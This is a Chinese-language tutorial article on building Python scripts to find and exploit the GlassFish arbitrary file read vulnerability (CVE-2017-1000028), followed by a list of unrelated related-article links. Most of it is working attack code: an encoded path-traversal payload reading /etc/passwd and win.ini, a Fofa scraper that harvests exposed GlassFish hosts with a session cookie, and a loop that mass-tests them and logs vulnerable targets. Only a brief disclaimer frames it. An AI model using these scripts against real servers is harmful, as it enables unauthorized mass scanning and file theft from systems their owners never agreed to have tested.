Python腳本開發(fā)漏洞的批量搜索與利用(GlassFish?任意文件讀取)
Python 開發(fā)學(xué)習(xí)的意義:
(1)學(xué)習(xí)相關(guān)安全工具原理.
(2)掌握自定義工具及拓展開發(fā)解決實戰(zhàn)中無工具或手工麻煩批量化等情況.
(3)在二次開發(fā) Bypass,日常任務(wù),批量測試?yán)玫确矫婢袔椭?
免責(zé)聲明:
嚴(yán)禁利用本文章中所提到的工具和技術(shù)進(jìn)行非法攻擊,否則后果自負(fù),上傳者不承擔(dān)任何責(zé)任。
測試漏洞是否存在的步驟:
(1)應(yīng)用服務(wù)器GlassFish 任意文件讀取 漏洞.
#測試應(yīng)用服務(wù)器glassfish任意文件讀取漏洞.
import requests #調(diào)用requests模塊
url="輸入IP地址/域名" #下面這個二個是漏洞的payload
payload_linux='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd' #檢測linux系統(tǒng)的
payload_windows='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini' #檢測windows系統(tǒng)
data_linux=requests.get(url+payload_linux).status_code #獲取請求后的返回源代碼,requests.get是網(wǎng)絡(luò)爬蟲,status_code是獲取狀態(tài)碼
data_windows=requests.get(url+payload_windows).status_code #獲取請求后的返回源代碼,requests.get是網(wǎng)絡(luò)爬蟲,status_code是獲取狀態(tài)碼
if data_windows==200 or data_linux==200: #200說明可以請求這個數(shù)據(jù).則存在這個漏洞.
print("漏洞存在")
else:
print("漏洞不存在")效果圖:

(2)批量搜索漏洞.(GlassFish 任意文件讀?。–VE-2017-1000028))
import base64
import requests
from lxml import etree
import time
#(1)獲取到可能存在漏洞的地址信息-借助Fofa進(jìn)行獲取目標(biāo).
#(2)批量請求地址信息進(jìn)行判斷是否存在-單線程和多線程
search_data='"glassfish" && port="4848"' #這個是搜索的內(nèi)容.
headers={ #要登錄賬號的Cookie.
'Cookie':'HMACCOUNT=52158546FBA65796;result_per_page=20' #請求20個.
}
for yeshu in range(1,11): #搜索前10頁.
url='https://fofa.info/result?page='+str(yeshu)+'&qbase64=' #這個是鏈接的前面.
search_data_bs = str(base64.b64encode(search_data.encode("utf-8")), "utf-8") #對數(shù)據(jù)進(jìn)行加密.
urls=url+search_data_bs
print('正在提取第'+str(yeshu)+'頁') #打印正在提取第的頁數(shù).
try: #請求異常也執(zhí)行.
result=requests.get(urls,headers=headers,timeout=1).content #requests.get請求url,請求的時候用這個headers=headers頭(就是加入Cookie請求),請求延遲 timeout=1,content將結(jié)果打印出來.
#print(result.decode('utf-8')) #decode是編碼.
soup=etree.HTML(result) #把結(jié)果進(jìn)行提取.(調(diào)用HTML類對HTML文本進(jìn)行初始化,成功構(gòu)造XPath解析對象,同時可以自動修正HMTL文本)
ip_data=soup.xpath('//a[@target="_blank"]/@href') #也就是爬蟲自己要的數(shù)據(jù) ,提取a標(biāo)簽,后面為@target="_blank"的href值也就是IP地址.
#print(ip_data)
ipdata='\n'.join(ip_data) #.join(): 連接字符串?dāng)?shù)組。將字符串、元組、列表中的元素以指定的字符(分隔符)連接生成一個新的字符串
print(ip_data)
with open(r'ip.txt','a+') as f: #打開一個文件(ip.txt),f是定義的名.
f.write(ipdata+'\n') #將ipdata的數(shù)據(jù)寫進(jìn)去,然后換行.
f.close() #關(guān)閉.
except Exception as e:
pass
#執(zhí)行后文件下面就會生成一個ip.txt文件.效果圖:

(3)漏洞的利用.(GlassFish 任意文件讀?。–VE-2017-1000028))
import requests
import time
payload_linux='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'
payload_windows='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini'
for ip in open('ip.txt'): #打開ip.txt文件
ip=ip.replace('\n','') #替換換行符 為空.
windows_url=ip+payload_windows #請求windows
linux_url=ip+payload_linux #請求linux
#print(windows_url)
#print(linux_url)
try:
print(ip)
result_code_linux=requests.get(windows_url).status_code #請求linux
result_code_windows=requests.get(linux_url).status_code #請求windows
print("chrck->" +ip) #打印在檢測哪一個IP地址.
if result_code_linux==200 or result_code_windows==200:
with open(r'result.txt','a+') as f: #寫入result.txt文件.
f.write(ip) #如果有漏洞就寫入ip.
time.sleep(5)
except Exception as e:
pass效果圖:

(4)漏洞的利用.

到此這篇關(guān)于Python 開發(fā)漏洞的批量搜索與利用(GlassFish 任意文件讀取)的文章就介紹到這了,更多相關(guān)python開發(fā) 漏洞內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
Anaconda下Python中h5py與netCDF4模塊下載與安裝的教程詳解
這篇文章主要為大家詳細(xì)介紹了基于Anaconda,下載并安裝Python中h5py與netCDF4這兩個模塊的方法,感興趣的小伙伴可以跟隨小編一起學(xué)習(xí)一下2024-01-01
Python調(diào)用Windows API函數(shù)編寫錄音機和音樂播放器功能
這篇文章主要介紹了Python調(diào)用Windows API函數(shù)編寫錄音機和音樂播放器功能,本文通過實例代碼給大家介紹的非常詳細(xì),具有一定的參考借鑒價值,需要的朋友可以參考下2020-01-01
Python強化練習(xí)之Tensorflow2 opp算法實現(xiàn)月球登陸器
在面向?qū)ο蟪霈F(xiàn)之前,我們采用的開發(fā)方法都是面向過程的編程(OPP)。面向過程的編程中最常用的一個分析方法是“功能分解”。我們會把用戶需求先分解成模塊,然后把模塊分解成大的功能,再把大的功能分解成小的功能,整個需求就是按照這樣的方式,最終分解成一個一個的函數(shù)2021-10-10
Python利用卡方Chi特征檢驗實現(xiàn)提取關(guān)鍵文本特征
卡方檢驗最基本的思想就是通過觀察實際值與理論值的偏差來確定理論的正確與否。本文將利用卡方Chi特征檢驗實現(xiàn)提取關(guān)鍵文本特征功能,感興趣的可以了解一下2022-12-12
解決python3 requests headers參數(shù)不能有中文的問題
今天小編就為大家分享一篇解決python3 requests headers參數(shù)不能有中文的問題,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧2019-08-08

